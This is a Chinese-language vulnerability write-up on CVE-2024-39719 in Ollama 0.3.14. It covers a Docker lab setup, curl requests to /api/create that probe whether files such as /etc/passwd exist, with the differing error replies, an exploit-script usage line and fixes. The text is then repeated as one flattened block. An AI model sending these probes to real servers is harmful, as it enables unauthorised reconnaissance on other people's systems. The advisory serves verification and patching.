Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 详细分析
字数 864 2025-08-29 22:41:10

Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 技术分析文档

漏洞概述

CVE-2024-39719 是影响 Ollama 0.3.14 及之前版本的文件存在性泄露漏洞,发布日期为2024年10月31日。该漏洞允许攻击者通过API接口探测服务器上特定文件是否存在,可能导致敏感信息泄露。

漏洞技术细节

漏洞原理

漏洞存在于 /api/create 端点中,当调用 CreateModel API 并传递路径参数时:

  • 服务器会根据路径是否存在返回不同的错误消息
  • 核心问题是未正确处理用户输入,直接暴露了文件系统错误信息

影响范围

  • 影响版本:Ollama 0.3.14 及之前所有版本

漏洞危害

  1. 作为复杂攻击的前置信息收集步骤
  2. 探测关键配置文件、证书或敏感数据文件
  3. 辅助进行针对性攻击
  4. 确认特定用户存在或系统特征

漏洞复现

环境搭建

使用Docker Compose创建受影响环境:

services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"
volumes:
  ollama:

启动命令:

docker compose up -d

复现步骤

  1. 测试不存在的文件
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

返回结果:

{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
  1. 测试存在的文件(如/etc/passwd)
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

返回结果:

{"error":"no FROM line for the model was specified"}
  1. 自动化利用脚本
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

脚本工作流程:

  • 通过/api/version检查Ollama版本
  • 构造payload以POST方式发送到目标服务器
  • 分析响应判断文件存在性
  • 关键特征:"no such file or directory"

漏洞修复方案

官方修复措施

  1. 统一错误处理,避免泄露文件存在性信息
  2. 对用户输入路径进行严格验证和过滤
  3. 使用通用错误消息,不暴露文件系统详情

修复建议

  1. 升级版本:升级到最新Ollama版本
  2. 访问控制:限制API接口访问权限
  3. 网络隔离:将服务部署在隔离网络中
  4. 监控:加强对/api/create端点的异常访问检测

资源链接

注意事项

  1. 不同版本可能返回不同错误消息
  2. 该漏洞虽然看似简单,但可能成为更严重攻击的跳板
  3. 建议在测试环境中验证漏洞后再进行修复

本技术文档提供了从漏洞原理到实际利用的完整技术细节,安全团队可根据此文档进行漏洞验证和修复工作。

Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 技术分析文档 漏洞概述 CVE-2024-39719 是影响 Ollama 0.3.14 及之前版本的文件存在性泄露漏洞,发布日期为2024年10月31日。该漏洞允许攻击者通过API接口探测服务器上特定文件是否存在,可能导致敏感信息泄露。 漏洞技术细节 漏洞原理 漏洞存在于 /api/create 端点中,当调用 CreateModel API 并传递路径参数时: 服务器会根据路径是否存在返回不同的错误消息 核心问题是未正确处理用户输入,直接暴露了文件系统错误信息 影响范围 影响版本:Ollama 0.3.14 及之前所有版本 漏洞危害 作为复杂攻击的前置信息收集步骤 探测关键配置文件、证书或敏感数据文件 辅助进行针对性攻击 确认特定用户存在或系统特征 漏洞复现 环境搭建 使用Docker Compose创建受影响环境: 启动命令: 复现步骤 测试不存在的文件 返回结果: 测试存在的文件 (如/etc/passwd) 返回结果: 自动化利用脚本 脚本工作流程: 通过 /api/version 检查Ollama版本 构造payload以POST方式发送到目标服务器 分析响应判断文件存在性 关键特征:"no such file or directory" 漏洞修复方案 官方修复措施 统一错误处理,避免泄露文件存在性信息 对用户输入路径进行严格验证和过滤 使用通用错误消息,不暴露文件系统详情 修复建议 升级版本 :升级到最新Ollama版本 访问控制 :限制API接口访问权限 网络隔离 :将服务部署在隔离网络中 监控 :加强对 /api/create 端点的异常访问检测 资源链接 利用脚本: GitHub仓库 注意事项 不同版本可能返回不同错误消息 该漏洞虽然看似简单,但可能成为更严重攻击的跳板 建议在测试环境中验证漏洞后再进行修复 本技术文档提供了从漏洞原理到实际利用的完整技术细节,安全团队可根据此文档进行漏洞验证和修复工作。